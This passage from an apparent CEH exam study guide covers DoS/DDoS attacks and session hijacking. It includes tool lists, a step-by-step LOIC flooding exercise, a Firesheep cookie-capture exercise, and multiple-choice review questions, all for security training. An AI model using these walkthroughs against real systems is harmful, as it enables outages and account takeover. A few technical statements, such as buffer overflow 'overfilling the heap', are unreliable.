However, keep in mind that in certain situations the appearance of a NOP may not
necessarily mean that a problem exists because it is a part of normal operation.
A quick summary is in order at this point to make sure we are all on the same page. A
program uses the stack and the heap for storage. The heap is dynamic, whereas the stack
is linear in operation (top, bottom, LIFO). Buffer overflow overfills the heap, exceeding
the memory boundaries. This in turn creates an unpredictable condition in which the OS
now sees the program as operating outside its allotted memory space. One of the
following will probably happen:
The OS terminates the offending program due to the program operating outside its
allotted memory space.
The address of the hacker’s malicious code, which now resides in the overflowed stack,
winds up in the EIP, causing that code to execute.
Basic operators such as < (less than), > (greater than), and => (equal to or
greater than) are used to test your understanding of memory bounds and buffer
overflows. Remember the basic concept of a buffer overflow, and also keep in mind
that any value outside the normal range constitutes an overflow condition.
Understanding DDoS
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Distributed denial-of-service (DDoS) attacks have the same goals, but the
implementation is much more complex and wields more power. Whereas a DoS attack
relies on a single system or a very small number of systems to attack a victim, a DDoS
attack scales this up by having several attackers go after a victim. How many attackers?
Anywhere from a few hundred to a few million in some cases.
DDoS Attacks
DDoS attacks have the same goal as regular DoS methods; however, the difference lies in
the implementation of the attack. A standard DoS attack can be launched from a single
malicious client, whereas a DDoS attack uses a distributed group of computers to attack a
single target. Check out Figure 11.3 to see a diagram of a DDoS setup.
Figure 11.3 DDoS attack setup
As you can see in Figure 11.3, quite a few parts are involved when launching a DDoS
attack. Conceptually, the process is quite simple. The attacker first infects the handler, or
master computer, with a specific DDoS software build commonly known as a bot. The bot
in turn sifts through the victim’s network searching for potential clients to make slaves,
or zombies. Note that the attacker purposely chooses their handler unit or units based on
the positional advantage it will give them for their DDoS attack. This equates to a unit
that has maneuverability in the network, such as a file server or the like. Once the
handler systems have been compromised and the zombie clients are infected and
listening, the attacker need only identify the target and send the go signal to the handlers.
For the exam you must be able to draw a distinction between a DoS and a
DDoS. With DoS, you typically see a single or a very small number of clients
attacking a target; with DDoS, a large number of clients attack a target. You could
thus say that the main difference is scale; however, in either case the result is the
same—a victim is taken offline.
A common method of covertly installing a bot on a handler or client is a Trojan horse that
carries the bot as a payload. Once the handler and subsequent zombies have been
infected, the attacker communicates remotely with the so-called botnet via
communication channels such as Internet Relay Chat (IRC) or Peer-to-Peer (P2P).
Tools for Creating Botnets
Various tools are used to create botnets, including the following:
Shark
PlugBot
Poison Ivy
Low Orbit Ion Cannon (LOIC)
DoS Tools
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The following is a list of DoS tools:
DoSHTTP DoSHTTP is an HTTP flood DoS tool. It can target URLs, and it uses port
designation.
UDPFlood This utility generates UDP packets at a specified rate and to a specific
network.
Jolt2 This IP packet fragmentation DoS tool can send large numbers of fragmented
packets to a Windows host.
Targa This eight-in-one tool can perform DoS attacks using one or many of the included
options. Attacks Targa is capable of are land, WinNuke, and teardrop attacks.
DDoS Tools
The following is a list of DDoS tools:
Trinoo This DDoS tool uses UDP flooding. It can attack single or multiple IPs.
LOIC Low Orbit Ion Cannon (LOIC) has become popular because of its easy one-button
operation. Some people suspect that groups such as Anonymous, which uses DDoS
attacks as its primary weapon, use LOIC as their main tool. (See Exercise 11.4.)
TFN2K This DDoS attack tool is based on TFN (Tribe Flood Network) and can perform
UDP, SYN, and UDP flood attacks.
Stacheldraht This DDoS tool has similar attack capabilities as TFN2K. Attacks can be
configured to run for a specified duration and to specific ports.
The exam will expect you to be familiar with the tools listed in this
chapter and throughout the book, which means you must know what each tool does
and how it’s used. Memorizing the details and nuances of each tool is not required.
EXERCISE 11.4
Seeing LOIC in Action
LOIC is one the easiest DDoS tools available, yet its simplicity and remote
connection features make it an extremely effective tool. In this exercise you will see
just how easy it is to launch a DoS attack using LOIC. For this exercise you will use a
Windows Server 2008 system with LOIC installed and a Windows 7 target with
Wireshark for traffic capture.
1. First, run the LOIC.exe file. Do not perform an in-depth installation; just run the
executable.
2. Once you run the EXE, the program pops up and is ready for a quick
configuration. Note that you can target a URL as well as a specific IP address. For
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our purposes just enter the IP address of your Windows 7 box.
3. Click the Lock On button. The IP address shows up as the target; there is no
doubt where this traffic is going.
4. Now that you have the IP input and target selected, you can configure a few more
details for your attack preferences. For this exercise use port 80, the TCP method,
10000 threads, and the default TCP/UDP message, as shown here:
5. Before you click the Fire button, hop back over to your Windows 7 system and
start Wireshark to see the traffic generated by LOIC.
6. Now you can fire your LOIC beam and view the traffic.
DoS Defensive Strategies
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Let’s look at some DoS defensive strategies:
Disabling Unnecessary Services You can help protect against DoS and DDoS attacks
by hardening individual systems and by implementing network measures that protect
against such attacks.
Using Anti-malware Real-time virus protection can help prevent bot installations by
reducing Trojan infections with bot payloads. This has the effect of stopping the creation
of bots for use in a botnet. Though not a defense against an actual attack, it can be a
proactive measure.
Enabling Router Throttling DoS attacks that rely on traffic saturation of the network
can be thwarted, or at least slowed down, by enabling router throttling on your gateway
router. This establishes an automatic control on the impact that a potential DoS attack
can inflict, and it provides a time buffer for network administrators to respond
appropriately.
Using a Reverse Proxy A reverse proxy is the opposite of a forward or standard proxy.
The destination resource rather than the requestor enacts traffic redirection. For example,
when a request is made to a web server, the requesting traffic is redirected to the reverse
proxy before it is forwarded to the actual server. The benefit of sending all traffic to a
middleman is that the middleman can take protective action if an attack occurs.
Enabling Ingress and Egress Filtering Ingress filtering prevents DoS and DDoS
attacks by filtering for items such as spoofed IP addresses coming in from an outside
source. In other words, if traffic coming in from the public side of your connection has a
source address matching your internal IP scheme, then you know it’s a spoofed address.
Egress filtering helps prevent DDoS attacks by filtering outbound traffic that may prevent
malicious traffic from getting back to the attacking party.
Degrading Services In this approach, services may be automatically throttled down or
shut down in the event of an attack. The idea is that degraded services make an attack
tougher and make the target less attractive.
Absorbing the Attack Another possible solution is to add enough extra services and
power in the form of bandwidth and another means to have more power than the attacker
can consume. This type of defense does require a lot of extra planning, resources, and of
course money. This approach may include the use of load-balancing technologies or
similar strategies.
Botnet-Specific Defenses
The following are botnet-specific defensive strategies:
RFC 3704 Filtering This defense is designed to block or stop packets from addresses
that are unused or reserved in any given IP range. Ideally, this filtering is done at the ISP
level prior to reaching the main network.
Black Hole Filtering This technique in essence creates a black hole or area on the
network where offending traffic is forwarded and dropped.
Source IP Reputation Filtering Cisco offers a feature in their products, specifically
their IPS technologies, that filters traffic based on reputation. Reputation is determined
by past history of attacks and other factors.
DoS Pen-Testing Considerations
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When you’re pen testing for DoS vulnerabilities, a major area of concern is taking down
integral resources during the testing phase. The ripple effect of taking out a file server or
web resource can be far reaching, especially if bringing the system back online proves
challenging after a successful DoS test attack. As with all pen-testing activities, an
agreement between the tester and the client should explicitly define what will be done
and the client’s timeframe for when the testing will occur. Also, as always, documenting
every step is crucial in every part of the process.
Summary
In this chapter you learned that a denial-of-service attack involves the removal of
availability of a resource. That resource can be anything from a web server to a
connection to the LAN. DoS attacks can focus on flooding the network with bogus traffic,
or they can disable a resource without affecting other network members. We also
discussed buffer overflow, which pushes data beyond the normal memory limit, thereby
creating a DoS condition. In addition, you saw that a NOP sled can be used to pad the
program stack, which lets the attacker run malicious code within the compromised stack.
You learned about handlers and their role in infecting and controlling zombie clients in a
DDoS attack. We also explored a number of attack methods and tools for performing
attacks. Lastly, we reviewed some preventive measures, such as router throttling, that you
can use to defend against DoS attacks.
Exam Essentials
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Remember the basic concept of DoS and DDoS. Be familiar with the basic
orchestration of a DoS attack as well as a DDoS attack. Browse the web for DDoS images
to become comfortable with recognizing the layout of an attack. Make sure you
understand the differences between the two.
Understand the targets. Know which resources can, and usually do, get targeted. This
applies also to the focus of the DoS attack, which can be traffic or network saturation or a
single target.
Know the stack. Review Figure 11.1 and Figure 11.2 and make sure you understand the
parts that act on the stack. Remember that the EIP is the point of execution in a stack,
and that the EIP gets shifted when an overflow occurs.
Understand buffer overflow. Know that a buffer overflow occurs when data, through
either malicious or unintentional means, gets pushed beyond the normal memory bounds
of the stack. Be familiar with the difference between a buffer overflow and smashing the
stack.
Know the dangerous C functions. Memorize and be on the lookout for those C
functions that do not perform bounds checking: gets(), scanf(), strcpy(), and strcat().
Ensure that you are comfortable recognizing these commands in compiled code.
Understand the NOP sled. Remember that NOP means “No Operation”; this equates
to a full CPU cycle with no actual work being accomplished. A NOP sled is a sequence of
NOP functions; know how it relates to buffer overflow and smashing the stack. Memorize
and recognize the hexadecimal value of a NOP, which is 0x90.
Be familiar with attack methods. You don’t have to know all the details of how to
perform each attack method, but be sure to know what each method uses to perform the
attack. For example, a fraggle attack uses UDP echo requests to the chargen port.
Know the preventive measures. Know the preventive measures available as well as
the actions each one takes to prevent the attack. Ensure that you are familiar with the
operation of a reverse proxy and ingress and egress filtering.
Know your tools and terms. The CEH exam is drenched with terms and tool names
that will eliminate even the most skilled test taker because they simply don’t know what
the question is even talking about. Familiarize yourself with all the key terms, and be able
to recognize the names of the DoS tools on the exam.
Review Questions
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1. What is the hexadecimal value of a NOP instruction in an Intel system?
A. 0x99
B. 0x90
C. 0x80
D. 99x0
2. Which pointer in a program stack gets shifted or overwritten during a successful
overflow attack?
A. ESP
B. ECP
C. EIP
D. EBP
3. Groups and individuals who hack systems based on principle or personal beliefs are
known as ___________.
A. White hats
B. Black hats
C. Script kiddies
D. Hacktivists
4. Jason is the local network administrator who has been tasked with securing the
network from possible DoS attacks. Within the last few weeks, some traffic logs
appear to have internal clients making requests from outside the internal LAN. Based
on the traffic Jason has been seeing, what action should he take?
A. Throttle network traffic.
B. Update antivirus definitions.
C. Implement egress filtering.
D. Implement ingress filtering.
5. Which DoS attack sends traffic to the target with a spoofed IP of the target itself?
A. Land
B. Smurf
C. Teardrop
D. SYN flood
6. Adding to and removing from a program stack are known as what?
A. Pop and lock
B. Push and pop
C. Stack and pull
D. Plus and minus
7. Zombies Inc. is looking for ways to better protect their web servers from potential DoS
attacks. Their web admin proposes the use of a network appliance that receives all
incoming web requests and forwards them to the web server. He says it will prevent
direct customer contact with the server and reduce the risk of DoS attacks. What
appliance is he proposing?
A. Web proxy
B. IDS
C. Reverse proxy
D. Firewall
8. In a DDoS attack, what communications channel is commonly used to orchestrate the
attack?
A. Internet Relay Chat (IRC)
B. MSN Messenger
C. ICMP
D. Google Talk
9. What is the name for the dynamic memory space that, unlike the stack, doesn’t rely on
sequential ordering or organization?
A. Pointer
B. Heap
C. Pile
D. Load
10. Which function(s) are considered dangerous because they don’t check memory
bounds? (Choose all that apply.)
A. gets()
B. strcpy()
C. scanf()
D. strcat()
11. The stack operates on _______ a basis.
A. FIFO
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B. LIFO
C. FILO
D. LILO
12. While monitoring traffic on the network, Jason captures the following traffic. What is
he seeing occur?
A. ICMP flood
B. SYN flood
C. Teardrop
D. Land
13. What is a single-button DDoS tool suspected to be used by groups such as
Anonymous?
A. Trinoo
B. Crazy Pinger
C. LOIC
D. DoSHTTP
14. What is an eight-in-one DoS tool that can launch such attacks as land and teardrop?
A. Jolt
B. Targa
C. TFN2K
D. Trinoo
15. What command-line utility can you use to craft custom packets with specific flags set?
A. Nmap
B. Zenmap
C. Ping
D. hping3
16. What protocol is used to carry out a fraggle attack?
A. IPX
B. TCP
C. UDP
D. ICMP
17. What is the key difference between a smurf and a fraggle attack?
A. TCP vs. UDP
B. TCP vs. ICP
C. UDP vs. ICMP
D. TCP vs. ICMP
18. What is the main difference between DoS and DDoS?
A. Scale of attack
B. Number of attackers
C. Goal of the attack
D. Protocols in use
19. What is the most common sign of a DoS attack?
A. Weird messages
B. Rebooting of a system
C. Slow performance
D. Stolen credentials
20. What response is missing in a SYN flood attack?
A. ACK
B. SYN
C. SYN-ACK
D. URG
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Chapter 12
Session Hijacking
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
I. Background
C. System technologies
III. Security
A. Systems security controls
E. Network security
P. Vulnerabilities
V. Tools/Systems/Programs
G. TCP/IP networking
The concept of session hijacking is fairly simple and can be applied to
various scenarios. An interception in the line of communication allows the attacker either
to assume the role of the authenticated user or to stay connected as an intermediary, as in
a man-in-the-middle attack. Different techniques help the attacker hijack a session. One
discussed in Chapter 9, “Sniffers,” is Address Resolution Protocol (ARP) poisoning. We’ll
expand on setup techniques in this chapter, and you’ll get your hands dirty with a few
examples that illustrate how to accomplish a session hijack.
Understanding Session Hijacking
Session hijacking is synonymous with a stolen session, in which an attacker intercepts
and takes over a legitimately established session between a user and a host. The user–
host relationship can apply to access of any authenticated resource, such as a web server,
Telnet session, or other TCP-based connection. Attackers place themselves between the
user and host, thereby letting them monitor user traffic and launch specific attacks. Once
a successful session hijack has occurred, the attacker can either assume the role of the
legitimate user or simply monitor the traffic for opportune times to inject or collect
specific packets to create the desired effect. Figure 12.1 illustrates a basic session hijack.
Figure 12.1 Session hijack
In its most basic sense, a session is an agreed-upon period of time under which the
connected state of the client and server is vetted and authenticated. This simply means
that both the server and the client know (or think they know) who each other are, and
based on this knowledge, they can trust that data sent either way will end up in the hands
of the appropriate party.
If a session hijack is carried out successfully, what is the danger? Several events can take
place at this point, including identity theft and data corruption. In other situations
session hijacks have made for a perfect mechanism through which someone can sniff
traffic or record transactions.
Understanding what constitutes a session makes it easy to see how session hijacking can
be extremely effective when all supporting factors are set up correctly. Many of the
prerequisite setup factors involved in session hijacking have already been discussed in
previous chapters. For example, a specific form of hijacking involves using a sniffer both
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prior to and during an attack, and you learned about sniffers in Chapter 9. In Chapter 2,
“System Fundamentals,” you learned about the TCP three-way handshake, which will
greatly aid your understanding of TCP session hijacking. Before we get too deeply into the
details of each attack, let’s look at how session hijacking is categorized.
An attacker carrying out a session hijack is seeking to take over a session for their own
needs. Once they have taken over a session, they can then go about stealing data, issuing
commands, or even committing transactions that they wouldn’t be able to otherwise. In
this chapter, we will explore the various forms session hijacking can take and identify the
methods you can use to thwart a session hijack.
Session hijacks are easy to launch. TCP/IP is vulnerable, and most countermeasures,
except for encryption, do not work. The following also contribute to the success of session
hijacking:
No account lockout for invalid session IDs
Insecure handling
Weak session ID generation algorithm
Indefinite session expiration time
Cleartext transmission
Small session IDs
Session hijacking typically can be broken down into one of three primary techniques:
Brute-Forcing an ID This is done by guessing an ID; usually the attacker already has
some knowledge of the range of IDs available. The attacker may be aided by the use of
HTTP referrers, sniffing, cross-site scripting, or malware.
Stealing an ID If they can manage it, an attacker will steal an ID by using sniffing or
other means.
Calculating an ID An attacker will attempt to calculate a valid session ID simply by
looking at an existing one and then figuring out the sequence.
So what is a session ID? Its form can vary a bit depending on whether we
are talking about an application or a network. However, in both cases it is usually
some form of alphanumeric sequence that uniquely identifies a specific connection.
A session ID could look like 123456abcdef, for example, but usually with a lot more
entropy or randomness sprinkled in. Capturing, guessing, or calculating an ID allows
the attacker to take over a connection or session.
Note that session IDs are also known as session tokens.
Spoofing vs. Hijacking
Before we go too far, you should know that spoofing and hijacking are two distinctly
different acts.
Spoofing occurs when an attacking party pretends to be something or someone else, such
as a user or computer. The attacker does not take over any session.
In hijacking, the attacker takes over an existing active session. In this process, the
attacker waits for an authorized party to establish a connection to a resource or service
and then takes over the session.
The process of session hijacking looks like this:
Step 1: Sniffing This step is no different than the process we explored when we
discussed sniffing in Chapter 9. You must be able to sniff the traffic on the network
between the two points that have the session you wish to take over.
Step 2: Monitoring At this point your goal is to observe the flow of traffic between the
two points with an eye toward predicting the sequence numbers of the packets.
Step 3: Session Desynchronization This step involves breaking the session between
the two parties.
Step 4: Session ID Prediction At this point, you predict the session ID itself (more on
that later) to take over the session.
Step 5: Command Injection At this final stage, as the attacker you are free to start
injecting commands into the session targeting the remaining party (most likely a server
or other valuable resource).
It is important for you to understand that session hijacking can take place
at two entirely different levels of the Open Systems Interconnection (OSI) model, so
it is very important to pay attention to details. A session hijack can take place at the
Network layer or at the Application layer—that is, an attack can target TCP/UDP or
the much higher protocols at the Application layer, such as HTTP or FTP.
Active and Passive Attacks
You can categorize a session hijacking attack as either an active attack or a passive attack.
Let’s look at both:
Active Attack A session hijacking attack is considered active when the attacker assumes
the session as their own, thereby taking over the legitimate client’s connection to the
resource. In an active attack the attacker is actively manipulating and/or severing the
client connection and fooling the server into thinking they are the authenticated user. In
addition, active attacks usually involve a DoS result on the legitimate client. In other
words, the client gets bumped off and replaced by the attacker. Figure 12.2 shows what
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this kind of attack looks like.
Figure 12.2 Active attack
Passive Attack A passive attack focuses on monitoring the traffic between the victim
and the server. This form of hijacking uses a sniffer utility to capture and monitor the
traffic as it goes across the wire. (Refer to Chapter 9 for a more in-depth description of
sniffer use.) A passive attack doesn’t tamper with the session in any way. Unlike an active
attack, the passive attack sets the stage for future malicious activity. An attacker has a
strategically advantageous position in a passive session hijack; they can successfully
capture and analyze all victim traffic and progress to an active attack position with
relative ease. Figure 12.3 shows a passive attack.
Figure 12.3 Passive attack
Categorizing attacks as either active or passive is useful for helping you
understand the general operation of various attacks. Just keep the concepts in mind
as a reference for any specific attacks posed to you on the CEH exam.
Session Hijacking and Web Apps
Session hijacking at the application level focuses on gaining access to a host by obtaining
legitimate session IDs from the victim. Essentially, a session ID is an identifier that is
applied to a user’s session that allows the server or web resource to identify the
“conversation” it is having with the client. So, for example, say that you’ve logged in to a
merchant site and are browsing the site for a book. With each page you browse to, the
web server receives the request and forwards you to the next page without requiring you
to repeatedly log in. The server is able to do this because it has identified your session ID
and assumes it knows who you are at this point. Let’s look at session IDs in greater depth
to gain a better understanding of the part they play in hijacking applications.
Session IDs, for our purposes, come in three flavors:
Embedded in a URL A web app uses the GET request to follow links embedded in a
web page. An attacker can easily browse through the victim’s browsing history and many
times gain access by simply entering the URL of a previously browsed web app.
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Embedded as a Hidden Field Forms for inputting user data many times include a
hidden field that is used for sending a client’s session ID. The ID is sent via the HTTP
POST command when the information is submitted.
Cookies Cookies have been a potential avenue of exploit for quite some time, and they
have recently taken the rap for privacy issues such as tracking shopping activity or storing
users’ sensitive data. An attacker can obtain session information from cookies residing on
the victim machine.
Vulnerabilities of lingering cookies or sessions from subpar coding or easier customer
access are something we’ve probably all seen at one time or another. Consider, for
instance, pulling up an authenticated web page from your browser’s history, only to find
that you’re conveniently still logged in days later—something to be aware of for sure.
Exercise 12.1 demonstrates how to view cookie information from unencrypted sites such
as Facebook.
EXERCISE 12.1
Session Hijacking with Firesheep
In this exercise you will use Firesheep to view cookie information from Facebook
and other unencrypted sites.
To perform this exercise you will need to download a copy of Firesheep and Firefox.
Once you’ve installed the Firesheep plugin into Firefox, perform the following steps:
1. Start Firefox.
2. In the browser use the Open With option.
3. Click View and then check the Firesheep option.
4. On the top left, click Start Capturing and choose Session Cookies Of People On
The Local Network.
5. Double-click the photo, and you will be logged in to the selected account.
Types of Application-Level Session Hijacking
When attempting to hijack a session at the application level, a hacker can choose from
among handful of attacks: session sniffing, predicting session tokens, man-in-the-middle,
and man-in-the-browser. Let’s look at each.
Session Sniffing
Session sniffing is a variation of sniffing, which you learned about in Chapter 9. In this
variation, you are looking for a specific target, which is a session token (also known as a
session ID). Once you, as the attacker, have found this token, you use it to gain access to
the server or other resource. This is sort of like stealing the keys to a car that someone
else rented; they are the authorized driver, but since you have the keys, you can drive it,
though unauthorized.
Predicting Session Tokens
The second way of getting a session ID is to predict or make an educated guess as to what
a valid one will be. How do you do this? The easiest and most effective way is to gather a
few session IDs that have been used already.
In this list of URLs, focus on the portion after the last slash:
www.ceh.net/app/spo22022005131020
www.ceh.net/app/spo22022005141520
www.ceh.net/app/spo22022005171126
www.ceh.net/app/spo22022005213111
Let’s assume these are all valid but expired session IDs that we have collected, and we
want to predict or calculate a new one. If we look at them carefully, we may be able to
determine a valid ID to use. In this case I made it easy—well, at least I think so. Can you
see the pattern? I’ll break each of them into four pieces, as shown in Table 12.1.
Table 12.1 Dissected IDs
Segment 1 Segment 2 Segment 3 Segment 4
spo
22022005
1310
20
spo
22022005
1415
20
spo
22022005
1711
26
spo
22022005
2131
11
Look at the IDs in Table 12.1 and you should be able to determine the pattern—or at least
how they were generated. You see that the first three letters stay the same. In segment 2,
the numbers stay the same as well. The third segment changes, and if you look closer you
might be able to tell something. In this case the segment gives time in 24-hour format,
which in turn gives you insight into segments 2 and 4. Segment 4 is the time in seconds.
If you look back at segment 2 you can see that it is actually the date, which in this case is
the 22nd of February 2005, or 22022005.
Man-in-the-Middle Attack
A third way to get a session ID is the man-in-the-middle attack, which we will discuss
later in this chapter when we discuss network attacks; see the section “Man-in-theMiddle.”
Man-in-the-Browser Attack
A fourth form is the man-in-the-browser attack, which is a particularly interesting form of
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attack. The three most common forms are cross-site scripting, Trojans, and JavaScript
issues. We discussed Trojans in Chapter 8, “Malware,” but let’s talk about cross-site
scripting and JavaScript.
Possible mechanisms for performing man-in-the-browser–based attacks include the
following:
Browser Helper Objects Dynamically loaded libraries loaded by Internet Explorer
upon startup
Extensions The equivalent to browser helper objects for the Firefox browser
API Hooking The technique used by a man-in-the-browser attack to perform its man-inthe-middle attack between the executable application (EXE) and its libraries (DLL)
JavaScript By using a malicious Ajax worm
Cross-Site Scripting
Cross-site scripting (XSS) is a type of attack that can occur in many forms, but in general
they occur when data of some type enters a web application through an untrusted source
(in the majority of cases, a web request). Typically, this data is included as part of
dynamic content that has not gone through validation checks to ensure it is all
trustworthy.
Dynamic content is any type of content that is generated on the fly or on
demand. Typically, this means that a user, browser, or service makes a request, which
is sent to a server. The server interprets the request and returns data in the form of a
web page.
In many cases the content that causes the attack to occur comes in the form of JavaScript,
but it is not restricted to this format. In fact, it could come in the form of HTML, Flash, or
other executable code. Because of the vast amounts of code that can be executed by a web
browser, the variations that this type of attack can assume are almost boundless. Some of
the most common goals include reading or stealing cookies, interfering with session
information, redirecting to a location of the attacker’s choosing, or any number of other
tasks.
Stored and reflected XSS attacks are the two main forms of this attack, so let’s look at
each:
Stored XSS Attacks XSS attacks that fall into this category tend to be the most
dangerous type. The attack is enabled by any web application that allows a visitor to store
data when they visit the site.
In practice, a web application gathers input from a visitor and stores the input within a
data store for later retrieval and use. The process goes awry when a malicious visitor visits
the site and their malicious input is stored in the data store. Once this happens, their data
will be part of the site, and when a subsequent visitor comes to the site, they
inadvertently run the same data. Since the code runs locally, it will run with the security
privileges of the client application.
Depending on how the data is crafted, the attack can carry out a number of tasks,
including these:
Hijacking another user’s browser
Capturing sensitive information viewed by application users
Pseudo defacement of the application
Port scanning of internal hosts (internal in relation to the users of the web
application)
Directed delivery of browser-based exploits
Adding to the danger of stored XSS is that the victim need only visit the page with the
crafted attack and need not click a link. The following phases relate to a typical stored XSS
attack scenario:
1. The attacker stores malicious code into the vulnerable page.
2. The user authenticates in the application.
3. The user visits a vulnerable page.
4. Malicious code is executed by the user’s browser.
Stored XSS is particularly dangerous in application areas where users with high privileges
have access. When such a user visits the vulnerable page, the attack is automatically
executed by their browser. This might expose sensitive information such as session
authorization tokens.
Reflected XSS Attacks These attacks are a little more complicated in that injected code
is bounced or reflected off a web server in the form of an error message or other result.
Typically, these attacks make their way to the victim in the form of an email or via a
different web server. A user may be tricked into clicking a link in a web page or message.
Once clicked, the link would then cause the user to execute code.
In practice, reflected cross-site scripting occurs when a malicious party injects browser
executable code within a single HTTP response. Because the code is not persistent and is
not stored, it will only impact users who open a specially designed link where the attack is
part of the URL itself.
Since the attack is relatively easy to carry out compared to its stored procedure cousin, it
is encountered much more frequently than stored attacks.
This type of attack typically leverages JavaScript, VBScript, or other scripting languages
where appropriate. In the wrong hands, this type of attack can install key loggers, steal
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victim cookies, perform clipboard theft, or change the content of the page (for example,
download links).
In general, XSS attack consequences typically are the same no matter what form the
attack takes: disclosure of the user’s session cookie or allowing an attacker to hijack the
user’s session and take over the account. Other damaging attacks include disclosing enduser files, installing Trojan horse programs, redirecting the user to another page or site,
and modifying presentation of content.
Getting Fixated
Another type of session hijack is the session fixation attack. This type of attack is
targeted specifically at web applications; it exploits vulnerabilities in the way these
packages manage their session IDs. The vulnerability exists when an application fails
to create a new session ID when a new user authenticates to the application. The
attacker must induce a user to authenticate using a known session ID and then
hijack the session.
There are several techniques to execute the attack, which vary depending on the
application. Here are some common techniques:
The session ID is sent to the victim in a hyperlink and the victim accesses the site
through the malicious URL.
The victim is tricked into authenticating in the target web server, using a login
form developed by the attacker. The form can be hosted in the web server or
directly in HTML-formatted email.
The attacker uses code injection, such as cross-site scripting, to insert malicious
code in the hyperlink sent to the victim and fix a session ID in its cookie.
Using the <META> tag is also considered a code injection attack, although it’s
different from the XSS attack, where undesirable scripts can be disabled or the
execution can be denied.
HTTP header response uses the server response to fix the session ID in the
victim’s browser. By including the parameter Set-Cookie in the HTTP header
response, the attacker is able to insert the value of the session ID in the cookie
and send it to the victim’s browser.
A Few Key Concepts
Here are a few concepts that come up in many session-hijacking discussions:
Blind Hijacking Blind hijacking describes a type of session hijack in which the attacker
cannot capture return traffic from the host connection. This means that the attacker is
blindly injecting malicious or manipulative packets without seeing confirmation of the
desired effect through packet capture. The attacker must attempt to predict the sequence
numbers of the TCP packets traversing the connection. The reason for this prediction
goes back to the basic TCP three-way handshake. We’ll dig more into this later in the
section “Network Session Hijacking.”
IP Spoofing IP spoofing refers to an attacker’s attempt at masquerading as the
legitimate user by spoofing the victim’s IP address. The concept of spoofing can apply to a
variety of attacks in which an attacker spoofs a user’s identifying information. Let’s draw
a line in the sand here and definitively agree that spoofing is a different approach and
attack from session hijacking; however, they are related in that both approaches aim at
using an existing authenticated session to gain access to an otherwise inaccessible
system. Figure 12.4 shows the spoofing approach.
Figure 12.4 Spoofing
You may see questions on the exam that test your ability to discriminate
between two related concepts. IP spoofing is a concept that can apply to many
different scenarios, such as a loss of return traffic flow on an attempted session
hijacking. Read each question completely before answering.
Source Routing In contrast to normal packet routing, source routing (Figure 12.5)
ensures that injected packets are sent via a selected routing path. By using source routing,
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an attacker chooses the routing path that is most advantageous to the intended attack.
For example, an attacker attempting to spoof or masquerade as a legitimate host can use
source routing to direct packets to the server in a path identical to the victim’s machine.
Figure 12.5 Source routing
DNS Spoofing DNS spoofing is a technique in which an attacker alters a victim’s IP
address mappings in an effort to direct the victim machine’s traffic to an address the
attacker specifies. This is a fairly simple explanation, but the concept and intent are the
same in all variations of this technique. Later, in the section “Network Session Hijacking,”
you’ll see how DNS spoofing also applies to hijacking vulnerable web applications.
ARP Cache Poisoning ARP cache poisoning was covered in Chapter 9, but here’s a brief
review. ARP is responsible for translating MAC addresses to IP addresses or vice versa
(known as reverse ARP, or RARP). An ARP cache poisoning attack overwrites a victim’s
ARP cache, thereby redirecting traffic to an inaccurate physical address mapping, usually
the attacker’s machine. This, in turn, puts the attacker’s machine in the logical middle of
all communications between the victim’s machine and the authenticated host. ARP cache
poisoning, as you’ve probably already deduced, is conceptually very similar to DNS
spoofing. The goal is to manipulate the traffic flow based on directional data stored in the
host.
Desynchronizing the Connection Referring once again to our TCP three-way
handshake, when a client and a host are initializing a connection, they exchange packets
that set the sequence for further data transfer. Each packet in this continuous transfer
has a sequence number and subsequent acknowledgment numbers. TCP connections
begin their sequencing of packets with an initial sequence number (ISN). The ISN is
basically a starting point on which all following packets can increment and sequence
themselves accordingly. Desynchronizing a connection (Figure 12.6) involves breaking
the linear sequence between the victim and the host, thereby giving the attacker the
opportunity, at least sequence-wise, to jump in and take over the connection to the host.
For example, suppose an attacker setting up a session hijacking attack has been tracking
the sequence of the connection and is ready to launch an attack. To make the job easier,
and at the same time remove the victim from the picture, the attacker can inject a large
volume of null packets directed at the host machine. This in turn increments the
sequence numbers of the host packets without the acknowledgment or purview of the
victim machine. Now the attacker has successfully desynchronized the connection and
has staged the host packet sequence numbers to a predictable count based on the
number of null packets sent.
Figure 12.6 Desynchronizing a connection
Network Session Hijacking
Network-level session hijacking is a hijacking method that focuses on exploiting a TCP/IP
connection after initialization or authentication has occurred. There are some specific
hijacking techniques in this category of attack. Some common ones we will discuss are
TCP/IP hijacking, man-in-the-middle attacks, and UDP session hijacking.
The exam will test your ability to determine what type of attack you are
seeing in a diagram or a fairly lengthy description. In this chapter, stay aware of the
structure of each attack, as well as how each attack is identified based on its function
and operation.
TCP/IP Session Hijacking
TCP/IP session hijacking is an attack on a TCP session. The attacker attempts to predict
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the sequence numbers of the packets flowing from the victim’s machine to the connected
resource. If successful, the attacker can then begin to inject packets that are in sequence
with the packet sequence of the legitimate user’s traffic.
As shown in Figure 12.7, once the initial handshake process is complete, the subsequent
packets stay in a general sequence between the victim and the resource. Each packet in an
ongoing conversation over TCP is incremented by 1. This rule applies to both SYN and
ACK sequence numbers.
Figure 12.7 TCP three-way handshake
Implementation of this kind of attack begins with the attacker sniffing the traffic between
the victim’s machine and the host machine. Once the attacker successfully sniffs the
connection and predicts (to the best of their ability) the packet sequence numbers, they
can inject custom packets onto the wire that have a spoofed IP of the victim machine as
well as a sequence number incremented appropriately based on previously captured
packets. An attacker spoofs the IP address of the victim’s machine to try to assume the
identity of the victim by hijacking the connection and the current session. From the
server’s or host’s perspective, packets coming from a legitimate IP address, as well as
having a properly incremented sequence number, are deemed legitimate traffic. Figure
12.7 outlines what this looks like.
Before we move on, let’s go through the basic steps of a TCP session hijack attack. You
don’t have to memorize these steps for the exam, but understanding their sequence and
what each step accomplishes will help you apply common sense to the challenging
scenarios you’ll face. We’ve already covered a few of these, so you’re ahead of the game!
Just pay attention to the sequence and relate it to what you’ve already learned.
1. Referring back to Chapter 9 once more, you must have a means of sniffing or
capturing the traffic between the victim machines. This places you in the position
required to perform the hijack.
2. Predict the sequence numbers of the packets traversing the network. Remember that
null packets can be used to increment the host sequence numbers, thereby
desynchronizing the victim’s connection and making sequence number prediction
easier.
3. Perform a denial-of-service attack on the victim’s machine, or reset their connection
in some fashion so you can assume the victim’s role as the legitimate client.
Remember that in a passive hijacking, the victim connection is not necessarily
severed; the traffic between the victim and the host is simply monitored, and you wait
for the opportune time to act.
4. Once you take over the victim’s session, you can start injecting packets into the server,
imitating the authenticated client.
Be sure that you understand TCP hijacking and the packet sequencing an
attacker uses to implement the attack. Refer to Chapter 9 if necessary to get
comfortable with these topics. Both will show up on the exam and will be applied to
